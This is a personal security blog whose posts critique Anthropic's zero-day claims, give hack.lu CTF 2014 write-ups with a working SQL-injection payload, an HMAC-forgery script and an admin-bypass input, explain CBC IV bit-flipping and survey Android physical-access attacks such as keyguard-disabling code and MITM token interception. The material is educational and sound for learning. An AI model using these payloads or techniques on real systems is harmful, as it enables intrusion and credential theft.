Michael Rodler (@f0rki)

A Critical Looks at Anthropic’s 500 Zero-Day Claims

2026-02-11T00:00:00+01:00

Anthropic recently published a blogpost detailing how their latest model, Claude Opus 4.6, discovered over 500 zero-day vulnerabilities in open-source software. The news was quickly picked up by outlets like Golem, but I can’t help but feel a sense of déjà vu. This reminds me of headlines from 15 years ago, like “Mayhem finds 1,200 bugs”, which also sparked excitement—only for the hype to quickly settle. As we all know today, Mayhem and other symbolic execution tools haven't solved the Automated Exploit Generation (AEG) problem.

The idea that LLMs can identify vulnerabilities isn’t new. The AIxCC competition already demonstrated this capability years ago, and it’s reasonable to assume that security tutorials and bug writeups are well-represented in training data. Anthropic’s claim that they tested Opus’s ability to find bugs without specialized prompting is interesting, but not groundbreaking. In fact, reducing reliance on targeted prompts might make the whole system less deterministic: something you'd want to avoid in practice. If I’m paying $10k for a LLM Tokens during my LLM-based security audit, I’d prefer consistent, reproducible results over a model that might surface different bugs with each run.

Key Questions Left Unanswered

There are multiple questions that Anthropic does not answer in their blog post.

False Positives and Hallucinations Anthropic says they have found 500 zero-day vulnerabilities, which were all validated by internal or externals teams with a security background. That is impressive. However, how many bugs did Claude report on top of those 500 that they were not able to validate as actual vulnerabilities/bugs? What is the total number of bugs that Claude reported.
Severity and Exploitability Anthropic claims that these are all “high-severity” bugs. What does that mean? Not all memory corruption bugs are equally dangerous. For example, the Linux kernel assigns CVEs to every memory corruption issue, but exploitability depends on context, i.e., whether the bug can be triggered in a realistic attack scenario. A memory corruption bug in module loading isn’t a vulnerability if the attacker already needs root privileges to exploit it (assuming root is allowed to load kernel modules like in most unhardened Linux systems). Automated tools (and LLMs) often struggle to assess real-world impact because they lack a proper threat model and contextual understanding. Competitions like the AIxCC tried to mitigate this Problem by having clear definitions of what is considered a true alarm or by forcing the automated tools to create exploits to proof that the found bug is truely a vulnerability.
Representative Projects? Were the analyzed projects truly representative? For example, the cgif Project has 180 stars on GitHub at the time of writing and als has not released a version 1.0 yet. This suggest this might not be a widely used, and as such not heavily scrutinized Project. What Projects did they analyze? And of those projects what is the security posture? Did they use standard security tools like SAST or fuzzing? If not, finding 500 bugs isn’t that impressive. It is somewhat expected. Early fuzzing research faced similar criticism: “We found 20 CVEs!” sounds great until you realize the code had never been fuzzed before. Benchmarks aren’t perfect and have a lot of problems on their own, but they at least allow for fair comparison with the current state-of-the-art.
Efficiency and Scalability How cost-effective is this approach? Anthropic can afford to burn Opus tokens for research, but real-world scalability matters. What’s the cost per valid bug found? Most organizations do not have the funds to use Opus at scale. Given that GenAI is still heavily subsidized, I expect cost for these high end models to rise in the future.

So we are left with knowing that Claude Opus can perform security research on its own, but not whether it is something that stays a research PoC at Anthropic, or whether this is something we can actually run ourselves.

A Call for Responsible Reporting

Despite these questions, it’s fascinating to see how Opus identified these bugs (e.g., performing variant analysis based on a previous git commit is very impressive). I hope Anthropic follows up with a detailed paper. This deserves more than a blogpost. Right now, the hype cycle is in full swing, and even minor announcements from Anthropic make waves. I became aware because this blogpost, because it was shared and discussed at my current workplace by people outside of the security field. If Anthropic wants to lead responsibly, they should prioritize rigorous, peer-reviewed research over flashy marketing or publishing half-finished research as blog posts. I know they have the capability to do so.

PS: This blogpost was written with the help of a LLM, but not one from Anthropic :)

Blogposts on AI Security (German)

2025-11-28T00:00:00+01:00

At my current job, I am consulting customers regarding various security topics. Naturally, GenAI comes up a lot these days, so I did a deep dive into AppSec for GenAI applications. As a result I also wrote to blog posts (in german though) on the topic. Enjoy.

We also recorded a Podcast recently, which also covered a bunch of these topics: Continuous Inspiration #17 IT Security - mit Christian und Michael

The LosFuzzys CTF Team

2016-04-26T00:00:00+02:00

In 2014 some infosec interested students at TU Graz started playing CTFs under the name LosFuzzys. In the last year, thanks to stefan and a couple of other very motivated guys, we managed to get more people interested and the whole thing going. Checkout our site for write-ups and more info on the team: hack.more.systems

If you are from the Graz area, feel free to drop by our IRC channel or one of the very irregular meetups.

There is gonna be a introductory talk to CTFs and useful tools at the Grazer Linuxtage 2016.

hack.lu CTF 2014 write-up: Hidden In Plain Sight

2014-10-26T00:00:00+02:00

OK I have to confess I solved this challenge by pure luck. The setting was that there is a service that allows you to register and the upload files. The uploaded files can be shared by creating a link, which contains a HMAC over the user and the filename. If we know the hmac over the user and the file, we can access the file. We are asked to access the 'testuser/flag.txt' file. So the whole code makes a pretty decent impression in terms of security. There are no obvious vulnerabilities.

We were asked to find a backdoor and the challenge was tagged as a crypto challenge and HMAC key generation looked a little fishy so I copy & pasted it into a local file to see what the HMAC secret would look like. And what a surprise the HMAC_SECRET variable was set to empty string. WTF. So first I went on to get the flag. Later on I noticed that the 'E' in the HMAC_SECRET on the left-hand side of the assignment in the loop was in fact a unicode character that looks like an 'E'.

// copy & pasted hmac secret generation
var HMAC_SECRET = ''
for (var i=0; i<20; i++) {
  HMAC_SΕCRET = HMAC_SECRET + (Math.random()+'').substr(2)
}
//
/* relevant xxd output. Mind the unicode char that looks like 'E'!
0000030: 3d 20 27 27 0a 66 6f 72 20 28 76 61 72 20 69 3d  = ''.for (var i=
0000040: 30 3b 20 69 3c 32 30 3b 20 69 2b 2b 29 20 7b 0a  0; i<20; i++) {.
0000050: 20 20 48 4d 41 43 5f 53 ce 95 43 52 45 54 20 3d    HMAC_S..CRET =
0000060: 20 48 4d 41 43 5f 53 45 43 52 45 54 20 2b 20 28   HMAC_SECRET + (
0000070: 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 27 27  Math.random()+''
0000080: 29 2e 73 75 62 73 74 72 28 32 29 0a 7d 0a 0a 0a  ).substr(2).}...
*/

console.log("the hmac is:")
console.log(HMAC_SECRET)
console.log("------")
// holy shit it's empty string :o

// copy&pasted signing function
var crypto = require('crypto')
function hmac_sign(path) {
  var hmac = crypto.createHmac('sha256', HMAC_SECRET)
  hmac.update(path)
  return hmac.digest('hex')
}

console.log("generated hmac:")
console.log(hmac_sign("testuser/flag.txt"))

After running this with node we get the HMAC and obtaining the flag is simply a matter of:

curl https://wildwildweb.fluxfingers.net:1409/files/testuser/flag.txt/4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4

hack.lu CTF 2014 write-up: Killy The Bit

2014-10-26T00:00:00+02:00

This was a fun challenge :) The setting was that the royal bank of Fluxembourg was hacked by Killy the Bit and now they set up a page to reset the user passwords. Because Killy owes us a favor we received the source code for the password resetting page. So the whole thing was php using mysql as a database. Inspecting the source you can easily spot the SQL injection vulnerability. But finding it wasn't the challenge, actually exploiting it was.

<?php
include 'config.php';

// unintersting HTML output truncated

//<!-- blind? we will kill you :) -->
    if(isset($_GET['name'])
        && $_GET['name']!=''
        && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name']))
    {
        $res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

        if(mysql_fetch_object($res)) {
            // Generation of new password
            //<topsecure content>
            // this was filtered during the creation of the phps file
            //</topsecure content>
            die("A new password was generated and sent to your email address!");
        } else {

            $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

            if(mysql_fetch_object($res)) {
                echo "We couldn't find your username, but it sounds like this user:<br>";
            } else {
                die("We couldn't find your username!<br>Are you sure it is ".htmlspecialchars($_GET['name'],ENT_QUOTES, 'utf-8')."?");
            }
            $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

            while($row = mysql_fetch_object($res)) {
                echo $row->name;
                echo "<br>";
            }
        }
    } else {
        // uninteresting HTML output truncated
    }
?>

As you can see on line 9 we cannot use and, or, sleep and benchmark in the query which makes exploiting this a little tricky. In total the whole script performs three queries. We do not see any output of the first two queries. Of course we could do a blind SQL injection here, but this is made harder by the preg_match filter. As it turns out we can craft an input so that the first query returns 0 rows, the second one returns 1 row and the last query returns all the possible rows. The key to this is the 'sounds like' part of the last two queries. 'a sounds like b' is a shortcut for 'soundex(a)=soundex(b)'.

> select soundex('admin'), soundex('admni');
+------------------+------------------+
| soundex('admin') | soundex('admni') |
+------------------+------------------+
| A350             | A350             |
+------------------+------------------+

Now we can get to the last the query by using 'admni' as the value for the name column in the where part of the query. Now we need to use union select to actually fetch data. Unfortunately just simply injecting the following

admni' union select passwd, email from user -- x

makes the first query to succeed and we don't see any output. So we need to find a way to restrict the union select to return 0 rows in the first query. Fortunately there exists the found_rows function in mysql, which returns the number of rows found by the last query. By injecting the following we can get the first query to return 0 rows and thus we get to the interesting else branch.

admni' union select passwd, email from user where found_rows() > 0 -- x

query: returns 0 rows, name='admni' is false, found_rows() is 0
query: return 1 row, sounds like 'admni' returns 1 result ('admin'), found_rows() is 0
query: returns lots of rows, souds like 'admni' is true, found_rows() is 1 and therefore we get everything in the passwd column.

...and we got the flag :)

hack.lu CTF 2014 write-up: Objection

2014-10-26T00:00:00+02:00

So we got the source for something that looked like CoffeeScript, but had really strange string literals. After some investigation I found out, that this was in fact coco source code. Coco in turn is a fork of CoffeeScript. Both compile to JavaScript. The service allows you to login with the admin password that is read from a file. If the user is authenticated as admin, he can read the secret token using the get_token function. The following source file was provided.

const net = require \net
const BufferStream = require \bufferstream

admin_password = (require \fs).readFileSync \admin_password, \utf8


server = net.createServer (con) ->
  console.log 'client connected'
  con.write 'hello!\n'
  client_context =
    is_admin: false
    token: (require \fs).readFileSync \secret_token, \utf8
    login: ([password], cb) ->
      if password == admin_password
        cb "Authentication successful  " + password
        @is_admin = true
      else
        cb "Authentication failed  " + password
    get_token: ([], cb) ->
      if not @is_admin then return cb "You are not authorized to perform this action."
      cb "The current token is #{@token}"
  console.log client_context
  in_stream = new BufferStream {encoding:\utf8, size:\flexible}
  con.pipe in_stream
  <- in_stream.split \\n
  it .= toString \utf8
  console.log "got line: #{it}"
  [funcname, ...args] = it.split ' '
  if typeof client_context[funcname] != \function
    return con.write "error: unknown function #funcname\n"
  client_context[funcname] args, ->
    con.write "#it\n"

server.listen 1408, ->
  console.log 'server bound'

The whole thing is a kind of sandbox escape, since the command are implemented by calling methods on the 'client_context' object. The input string is split on the space character and the first token is the function name. So we can actually call an arbitrary function on the object. All further tokens are passed as a string array. So we cannot inject code or something like that. But wait, let's look at how the the methods of the object are called exactly.

client_context[funcname] args, ->
  con.write "#it\n"

First the function is accessed via the name as a string. args is an array of strings. Then a callback function is passed as the last argument. The '->' arrow is CoffeeScript/coco shorthand for defining a function. The '#it' in the string is syntax for string expansion using the 'it' variable. Because this variable isn't declared anywhere in the function body coco infers that it must be an argument to the function. As you can see in this example:

$ coco -bce '-> console.log "#it\n"'
(function(it){
  return console.log(it + "\n");
});

Now to the interesting part: how to get the flag. Let's have a look what functions a plain object in JavaScript has. So let's fire up a node.js interpreter and poke around a little bit by hitting tab.

> x = {}
{}
> x.
x.__defineGetter__      x.__defineSetter__      x.__lookupGetter__      x.__lookupSetter__
x.constructor           x.hasOwnProperty        x.isPrototypeOf         x.propertyIsEnumerable
x.toLocaleString        x.toString              x.valueOf

__defineGetter__ seems useful, since the properties 'is_admin' and 'token' are accessed (you can spot properties in CoffeeScript and coco by the @ prefix). It expects the following arguments

obj.__defineGetter__(sprop, fun)

Where sprop is the property name and fun is the getter function. This matches exactly the call of the function in the source file we got. So we can pass the anonymous callback function as a getter. Since this function takes an argument 'in' as parameter, calling the function without any argument results in 'it' just being undefined. Concatenating an undefined variable with a string results in the string "undefined" + the other string. So let's define the getter for 'is_admin' by sending the following string to the service.

__defineGetter__ is_admin

Now if is_admin is accessed, instead the anonymous callback function is called. Remember it looks like this in CoffeeScript

-> con.write "#it\n"

In CoffeeScript/coco the last expression is also the return value of a function. The anonymous function compiled to JavaScript looks like this:

function(it){
    return con.write(it + "\n");
}

This means this anonymous function will return the return value of the 'write' method of the con object, which is an socket object. The socket.write function will return true if the entire data was flushed to the kernel buffer. Since we only write the string "undefinedn", chances are pretty good this will happen. So accessing the 'is_admin' property will in fact call this anonymous callback function and return 'true'. On the way it will write "undefinedn", but this doesn't matter since we are suddenly admin :)

hello!
__defineGetter__ is_admin
get_token
undefined
The current token is flag{real_cowboys_dont_use_object_create_null}

Hooray :)

Web Security Hardening

2014-07-27T00:00:00+02:00

Last year during my summer internship I had the chance to catch up with current developments in Web-Security. In particular I had a closer look at mechanisms, that are used as a second line of defense or hardening mechanisms against common web attacks. I created drafts of blog entries describing some of the things I learned. Those posts are now available at my former employers blog.

If you're not too familiar with web applications and web security this might be an interesting read:

Introduction

Client-Side XSS Filter

Content Security Policy

HTTP Strict Transport Security

Is It Really The Worst Interview Question?

2014-07-27T00:00:00+02:00

Recently I read a blog post about the supposedly worst programming interview question. So here is the question:

Write a function that can detect a cycle in a linked list.

Basically the guy that asked the question was testing of whether you've heard of Floyd's cycle-finding algorithm (aka. the tortoise and hare algorithm) or not. If you come up with alternative solution he'd just give you more constraints. The author of the blog post has two major points of criticism about this question.

It's a puzzler and it's just testing whether or not you've heard of this particular algorithm before and you probably won't be able to come up with the solution that matches the constraints you are given in an interview.
You'll probably never need to implement this particular algorithm, since typically a linked list will never contain cycles if you restrict your API and the language or framework you are using might even prevent you from mangling with the pointers to create cycles.

While I consider both points are absolutely legitimate, I don't consider the question to be the worst interview question. I consider the expectations of the Interviewer to be bad. I guess there really are no stupid questions.

So let me ellaborate. The interviwer the author described was expecting to hear the answer: "Well, I'd implement the tortoise and hare algorithm and it has that complexity...". If the applicant doesn't come up with exactly this algorithm the question is considered to be answered wrongly. Here lies the error. A smart interviewer could turn this question into the best programming interview question, if he doesn't expect a particular answer but judges how the applicant is handling the situation.

Let's consider the first case: The applicant knows the solution or at least remembers the name of the algorithm. This shows knowledge on the subject. This is good. Next question.

The second case is far more interesting in my opinion. The applicant doesn't come up with this particular algorithm. Now the interviewer can judge how the applicant handles the situation. Remember it's an interview, not a test in college or university. The applicant can start questioning the assignment he received. "Why is this particular runtime constraint needed?", "Is it possible to guarantee that the given list will never contain cycles by restricting the interface?" and "Can we restrict the visibility of the pointers in the list?" are some question I'd ask, if given this assignment in an interview. This shows that when given a problem and certain constraints the applicant doesn't just mindlessly apply an algorithm he learned, but thinks about the problem itself. Maybe it can be avoided all along with little additional effort, as is often the case.

Of course this reaction might also be a sign of an applicant, who's all talk and nothing else, but this is just a single question in an interview. You can't judge a person by asking a single question. I say there's no harm in mixing in such a puzzler. It gives opportunity to judge how a person handles this situation.

Some Notes on CBC-Mode, IVs and MACs

2013-10-28T00:00:00+01:00

I recently read this tweet which gave an example for why you should use good IVs in your crypto. The tweet was:

Why you should always use good IVs in your #crypto http://i.imgur.com/jxUv3ha.png

This is the about the example that was given [1]

$ echo 'Give Eve $500' > plaintext
$ cat plaintext
Give Eve $500
$ xxd ciphertext
0000000: 53 61 6c 74 65 64 5f 5f 1a 3c cd 23 cc 4c 9f c9  Salted__.<.#.L..
0000010: a6 e2 57 10 7b 8d c3 23 ea 51 01 05 c9 8b 13 9f  ..W.{..#.Q......
$ openssl enc -d -aes-128-cbc -iv 00000000000000000000000000000000 -pass pass:hunter2 -in ciphertext
Give Eve $500
$ openssl enc -d -aes-128-cbc -iv 00000000000000000000030000000000 -pass pass:hunter2 -in ciphertext
Give Eve $600
$ openssl enc -d -aes-128-cbc -iv 00000000000719070000030000000000 -pass pass:hunter2 -in ciphertext
Give Bob $600

At first I liked the example, because of it's simplicity, but then I thought: Wait this isn't right. What does it have to do with randomness of the IVs? If we can manipulate the IV, we can flip any bit in the first block, regardless of the used IV. So let's do that with a random IV.:

$ cat plaintext
Give Eve $500
$ dd if=/dev/random bs=32 count=1 | xxd -p
0+1 records in
0+1 records out
16 bytes (16 B) copied, 0.000186855 s, 85.6 kB/s
01998163763025fd4577eb6f8a55eda5
$ openssl enc -p -aes-128-cbc -iv 01998163763025fd4577eb6f8a55eda5 -pass pass:hunter2 -in plaintext -out ciphertext2
salt=D7163849A12BB340
key=294A8A0A82465FAD3818F430F9BEE1F6
iv =01998163763025FD4577EB6F8A55EDA5
$ openssl enc -d -aes-128-cbc -iv 01998163763025fd4577eb6f8a55eda5 -pass pass:hunter2 -in ciphertext2
Give Eve $500.
$ openssl enc -d -aes-128-cbc -iv 01998163763025fd4577e86f8a55eda5 -pass pass:hunter2 -in ciphertext2
Give Eve $600.

As we can see it's not really more difficult to perform such an attack with a random IV. (just some XOR calculation) But why does this work again? Well with CBC mode you always "mix" the last ciphertext block into your current block, to chain the blocks together. So every change in the plaintext changes the following ciphertext. But what to mix into the first block? Yes the IV. So we can write encryption as

\[ C_i = E_k(P_i \oplus C_{i-1}) \text{ with } C_0 = IV \]

And decryption is just the same process in reverse:

\[P_i = D_k(C_i) \oplus C_{i-1} \text{ with } C_0 = IV \]

Check out wikipedia [7] for a good illustration. But what we can see immediately is that for $C_1$ the IV will be XORed against the resulting plaintext. Since the IV musst be prepended to the message in plain in order for the decryption to work, it can also be changed and this is why the attack shown above works.

Authenticated Encryption

So what this example actually demonstrates pretty good is that you need integrity/authenticity protection even though you encrypted the data. It also shows that you should include your IV in your integrity protection, when using CBC.

So that brings us to the discussion of how to combine encryption with authenticity guarantees. Apparently the recommended way is to "encrypt-then-mac", because it has certain security properties the other ways lack. E.g. there are ciphers that are malleable, which means an attacker can produce another valid ciphertext, given one ciphertext [6]. This doesn't concern us in the "encrypt-then-mac" case, in other cases it might. Although "mac-then-encrypt" and "encrypt-and-mac" are not per se insecure, they require that decryption is performed on unauthenticated data, which is intuitively bad (as we have seen in the CBC example above). Performing decryption on unauthenticated data has been called "the cryptographic doom principle" [3].

So what we would actually need to do, is to combine our primitives to encrypt and then authenticate the encrypted data and it's parameters.

\[ C = E_{key, IV}(P) \text{ and } m = HMAC_{key}(IV || C) || IV || C \]

There have been many advances in the area of combining encryption and authentication into one "do-it-all" cipher: GCM, EAX, CCM, CWX, to name a few. Galois Counter Mode (GCM) is apparently considered the best choice by the NIST and the NSA [10] and also seems to become the best choice for TLS (which is actually mac-then-encrypt). Apparently it's really hard to create a reasonably fast AES-GCM implementation in software that is not vulnerable against timing side channel attacks [4], although if you have hardware support, e.g. CPUs with AES-NI, it's a really fast and secure cipher.

Although these cipher modes have desirable properties, some people argue that they are too complicated and shouldn't be recommended to developers [2]. A simple combination of AES in CBC or CTR mode and a HMAC-SHA256 in the encrypt-then-mac fashion might be good enough and most of all simple enough to minimize the risk of implementation mistakes.

Also the combination "ChaCha20-Poly1305" is considered to offer very good security and very good speed also with software implementations on low-power devices, such as phones. Google is starting to support this ciphersuite for TLS connections [4]. Patches for NSS and OpenSSL are on the way [5]. As I understand ChaCha20 is a stream cipher and the successor to Salsa20 designed by Daniel J. Bernstein and Poly1305 a MAC, which utilizes any cipher (first proposed version was using AES, in this case it's also using ChaCha20) [9] .

All in all cryptography is still a pretty complex topics and all efforts to simplify it for people without security background are probably doomed. Although some libraries like google's keyczar and the nacl library seem to be able to do a pretty good job abstracting the nasty details, while some others don't [11].

For more information I really advise to read the blog posts [2], [4] and [3]. Furthermore any search for "authenticated encryption" in your favorite search engine should result in enough reading material on the topic.

[1]	http://i.imgur.com/jxUv3ha.png

[2]	(1, 2) http://www.daemonology.net/blog/2009-06-24-encrypt-then-mac.html

[3]	(1, 2) http://www.thoughtcrime.org/blog/the-cryptographic-doom-principle

[4]	(1, 2, 3) http://googleonlinesecurity.blogspot.co.at/2013/11/a-roster-of-tls-cipher-suites-weaknesses.html

[5]	https://www.imperialviolet.org/2013/10/07/chacha20.html

[6]	https://en.wikipedia.org/wiki/Malleability_(cryptography)

[7]	https://en.wikipedia.org/wiki/Cipher_block_chaining#Cipher-block_chaining_.28CBC.29

[8]	http://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac

[9]	https://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-01

[10]	https://en.wikipedia.org/wiki/NSA_Suite_B

[11]	https://owasp-esapi-java.googlecode.com/svn/trunk/documentation/ESAPI-security-bulletin1.pdf

Current State of Android "Physical" Security

2013-09-02T00:00:00+02:00

About a year ago I gave a talk to my fellow students about the security of android devices, once you get physical access to them. This post will be pretty much that talk plus some additional infos and links. You can find the slides here [1].

The Evil Maid Attacks

An evil maid attack is an attack that assumes that you leave your device in the hotel room a maid comes in and has therefore gained physical access to your device. She then installs malware, dumps data or whatever else is possible. The classic target is the notebook. Against data theft we can use full disk encryption. Against malware we will want to harden our device as much as possible. Especially preventing booting from anything but our primary HDD. Unfortunately this only helps against a quick install, since the maid has physical access to the HDD, where she will probably find an unprotected bootloader or kernel. So to secure a notebook against this type of attack, one must deploy something like UEFI Secure Boot. Maids (or some hacker in a maid outfit who social engineered somone the hotel room key ;) can be devious.

So the situation with phones is a bit different. Usually you cannot simply disassemble it to get access to the persistent storage inside the device. But what can an attacker do with physical access?

Detour: Android Internals and Boot Process

Before I talk about what to do with physical access to android devices, I will give a short introduction to some of the android internals and specifically to the boot process. For more information on the android boot process checkout this excellent presentation [3] or this page [4].

Android Partition Layout

The android partition layout is differs from device to device, but there are some main components that can be found on every device.

On most devices / is actually a ramdisk that is created at every boot. So don't try to persist anything there. The contents of the ramdisk are loaded from the "boot" partition, where also the kernel lies. /system: contains the core OS, all the system binaries, configuration, the android framework etc. The apps and all the data that apps produce are stored in /data/. Another interesting partition is the recovery image partition. This partition contains a kernel and a ramdisk similar to the "boot" partition, but is not intended to boot the full system, but provide only basic functionality for recovering devices or updating the devices firmware. Flashing a new recovery image is usally one of the first steps when using a custom ROM. The there usually is a partition for the cache, which is used by the android JVM implementation (the dalvik VM). Finally we have the storage where the user has direct access. For example the SD card or internal memory. Those are usually acessible via /sdcard, /mnt/storage or something similar.

Boot Process

HTC/Qualcomm devices usually boot in the following manner. Don't forget that we have two "main" processors inside a typical phone. One that performs all the stuff related to the telephone network (called baseband processor) and one that processes all the applications and the actual OS (also called the applications processor).

The baseband processor starts and loads the primary boot loader (PBL)
The PBL loads the secondary boot load (SBL)
The application processor boots the HBOOT bootloader
HBOOT loads the kernel or recovery image

Other devices boot in a similar manner, although they use their custom bootloader(s) and everything is called a little different.

To achieve security during the boot process the bootloader verify the next step before continuing. So in this case the PBL verifies the signature of the SBL. The SBL verifies and loads the baseband code and the HBOOT bootloader. HBOOT the verifies and loads the kernel/recovery. This way no untrusted code can be booted.

For development this isn't really practical, so one can usually unlock the bootloader, so that untrusted kernels or recoveries can be booted. This is cool because we can use this to install custom ROMs. Most app processor bootloaders implement the fastboot protocol, so that it can be controlled over USB. fastboot is also the tool that ships with the android sdk and can be used to boot other kernels, recoveries, flash images to partitions and also unlock the phones bootloader. The later can be achieved by using:

fastboot oem unlock

What this does is disable signature checking of the kernel/recovery image but most devices also perform a factory reset (aka. formatting the /data/ partition) when the bootloader is unlocked. Note that not all devices have bootloader that can be that easily unlocked or relocked.

HTC S-ON/S-OFF

You can think of this as a more complete device lockdown. Additionally to a locked bootloader, the /system, kernel and recovery partition are hardware-write-protected. So even if we gain root on the phone, we cannot modify the system beyond a reboot. To gain S-OFF one can use an exploit or go the offical HTC way, where you need to submit a token and flash a signed blob, so that HTC can confirm that you know that the warranty is now voided. This makes the system, kernel and recovery partition writable and you are free to flash your own images.

Attack Scenarios

With all that in mind let's look at a couple of scenarios and what can happen to an android phone, when the attacker has physical access.

Scenario 1: Standard Phone

Prerequisites: stock ROM, no adb, no root

This is a pretty boring scenario, as the best you can do is pull the SD card out of the device and look for interesting things. There might be some personal data, pictures etc. More interesting might be Android apps that were moved to the sdcard or backups of app internal data to the SD card. But you probably can't totally own the phone, unless you have a working exploit for the USB driver, of which I'm not aware of any.

But what about devices that have no SD card? For example the Nexus S has no SD card, but only internal memory. The data is accessed via the Media Transfer Protocol and is only available if android is unlocked I'm not talking about the bootloader, but the actual OS that is running. Most android devices can only be used after a certain pattern is drawn. Alternatively you can use a PIN, a password or the new face unlock feature.

Smudge Patterns

In 2010, pretty soon after Android started booming, the first attack against the unlock pattern was presented [2]. The problem is that we leave smudge on the display after inputting the unlock pattern. If we input our pattern a few times we can see the line of smudge on the display and only have to guess the direction in which the pattern is input. And that's not hard to bruteforce ;)

The paper that presented the attack describes several possibilities using a camera and some image manipulation to make the pattern more visible [2].

Face unlock method introduced in Android 4 is another insecure method for unlocking the phone. It can be easily tricked by showing a picture of the owner (accessible via your favorite social network) to the phone. So if you are truely paranoid use a PIN or a password to protect your phone. But what if an attacker does actually manage to unlock your phone? I will discuss that in the next section.

Scenario 2: Developer Phone

Prerequisites: stock ROM, no root, adb enabled

Now we look at a phone that has adb enabled, because it's the phone of a developer that is also used privately.

Installing Malware

the first thing that comes to my mind is: install some malware:

adb install com.example.AngryBirdsStarTrek.apk

Using adb we can also access many parts of the system, although we are still restricted. We can give our malware all kinds of permissions to gain access to a lot of personal data. Unfortunately we don't have unlimited permissions, because the really awesome permissions are the system or systemOrSignature level permissions, which are only available to system apps or apps signed by the system vendor.

But that said we can get access to most personal data, such as contacts texts, phone calls etc.

We can also use our installed app to disable the "keyguard" lock, effectively bypassing any PIN, password, unlock pattern or face unlock. This is as simple as the following code (which might not be accurate anymore but I'm currently too lazy to check again ;)

KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
KeyguardLock mkeyguardLock = keyguardManager.newKeyguardLock("unlock");
mkeyguardLock.disableKeyguard();

Oh shit. So now we have nearly unrestricted access to the phone. But what to do now?

Intercepting Login Credentials

While we do have access to the phone we probably can't access any credentials stored by the installed apps. What if we need to give the phone back soon and going through all the email directly on the phone probably isn't practical. What we do now is go back a level deeper and start watching the network traffic produced by the android phone. This means we launch a classic man-in-the-middle attack. Since we have access to the phone we can easily connect to our own hostile wifi. Unfortunately we can't see all the login credentials, since most apps transmit the data via https or TLS. But wait we can just add our own CA certificate in the android trust store and look at all this confidential data :) I like to use the mitmproxy [5] tool for such purposes, but you could also use Burp or OWASP ZAP. Unfortunately not all apps seem to support the proxy setting in Android.

Stuff you can intercept are mostly auth tokens [6], which can give you the power to take over accounts. But sometimes you get lucky and directly spot a password. The following image shows the mitmproxy tool while intercepting an authentication request. The "Token" parameter is the token which is used to authenticate the device.

Google had a very serious bug, where you could even bypass the two-factor authentication once you had access to an applicaiton specific password, such as the android's login token, which you can observe with a mitm proxy [7]. This was fixed by google.

So this is already pretty serious, but there is another feature of Google's Android: the Backup & reset feature. This feature enables a backup of system settings, application data and wifi passwords to the google cloud. If we use the google authentication token we sniffed to log into the google account on another rooted phone, we can get all the stuff backed up to google in plaintext. I'd say: "All your wifi password are belong to us!".

Escalate to root

So this is already pretty serious now, but we still do not have root, so we can't install the really juicy malware and give the phone back. Well we could also use one of the countless root exploits for Android. Nearly every phone and Android version is vulnerable to some kind of root exploit. Because phone vendors can't keep up with patching or leave devices intentionally vulnerable, the likelyhood that a device with adb enabled is vulnerable is pretty high.

Scenario 3: Rooted Phone

Prerequisites: rooted, custom ROM and recovery, adb access

This chapter is short: your are totally screwed.

With root access everything is possible and an attacker has access to absolutely everything: credentials, wifi passwords and all the data. Installing a really nice rootkit is also no problem.

Ok but what if we disable adb?

Prerequisites: rooted, custom ROM and recovery, no adb access

Let's remember the stuff about the locked bootloader? Yes most guides for custom ROMs usually suggest unlocking the bootloader and leaving it that way. That's very good for an attacker.

Using fastboot we can just boot an arbitrary kernel and do whatever we want anyway :) We can also use the standard update.zip mechanism of the installed recovery to "flash" a rootkit and gain access to the phone, but this is just for added comfort. Note that relocking the bootloader with a custom recovery that supports flashing new ROMs is pretty pointless.

Scenario 4: Encrypted Phone

So Android introduced "full disk encryption" with the release of 3.0 Honeycomb [8]. The disk encryption targets only the /data/ partition. This means that the core OS and system binaries etc. are still not encrypted, which is probably good for performance, but also leaves them subject to tampering.

So what to do with an encrypted phone?

Prerequisistes: unlocked bootloader, no adb access

So we could execute arbitrary code, but we have to reboot the device. This means that we can easily install a rootkit and give it back to the owner, hoping that he doesn't flash a new ROM. But maybe we can do something else.

Bruteforcing the Encryption Key

Android encryption forces you to set a password or PIN to unlock your device. Unfortunately the same password is used for unlocking the phone for everyday use and for decrypting the device. This means that you will probably use a very weak password. Who has the time and the nerve to input a 16 character password for quickly reading a text message.

Unfortunately the disk encryption for Android is tailored for low-power low-performance devices. Android uses dmcrypt for performing the actual crypto. The information needed to decrypt the phone is saved in the last 16 kB of the encrypted partition. The encryption key is actually just a bunch of random bytes read from /dev/urandom. This key is then encrypted using the users password. Because user passwords are usually pretty low entropy and don't have the right length for an encryption key, a technique called "key stretching" [9] is used. Like almost everyone else the standardized PBKDF2 function is used to stretch the key. PBKDF2 stand for Password Based Key Derivation Function 2 and uses repeated hashing and salting to derive an actual encryption key [10]. This technique is not only useful to derive good encryption keys with various lengths from a master key, but also offers protection against brute-force attacks. PBKDF2 is a parameterized function that takes the number of iterations as parameter. The higher the iteration count the more work has to be done before the actual key can be tested.

Unfortunately the iteration count is hardcoded to 2000 on Android, which is in fact pretty low. For example the LUKS/dmcrypt setup on my Fedora box uses about 160000 iterations for PBKDF2. While this may not be possible on an Android device, an iteration count of 2000 is definitely too small. Additionally PBKDF2 is also pretty fast on GPUs.

Can you guess where this is going? Yes bruteforcing the password/PIN used to encrypt the device is absolutely feasible. It has actually been done with the hashcat bruteforcing tool [11]. So we see Android encryption isn't actually that secure.

Recovering the Encryption Key from Memory

Another attack against encrypted Android phones is called: FROST [12] [13]. As you might have guessed this is a form of cold boot attacks against Android phones. The researchers discovered that the contents of the RAM can be preserved across a device reboot by cooling it down. They showed that it is sufficient to cool the whole device, so it is not even needed to directly access the memory chips. They also wrote a recovery image and kernel module to search and dump any disk encryption keys that still reside in the memory of the Android device.

Not only encryption keys but also other possibly sensitive data such as pictures, documents or password to services can be retrieved using this cold boot attack.

Fortunately to boot into FROST or something similar, the phone needs to have an unlocked bootloader. As I wrote at the beginning unlocking should wipe all user data, which restricts FROST to recovering data from memory.

Defense and Conclusion

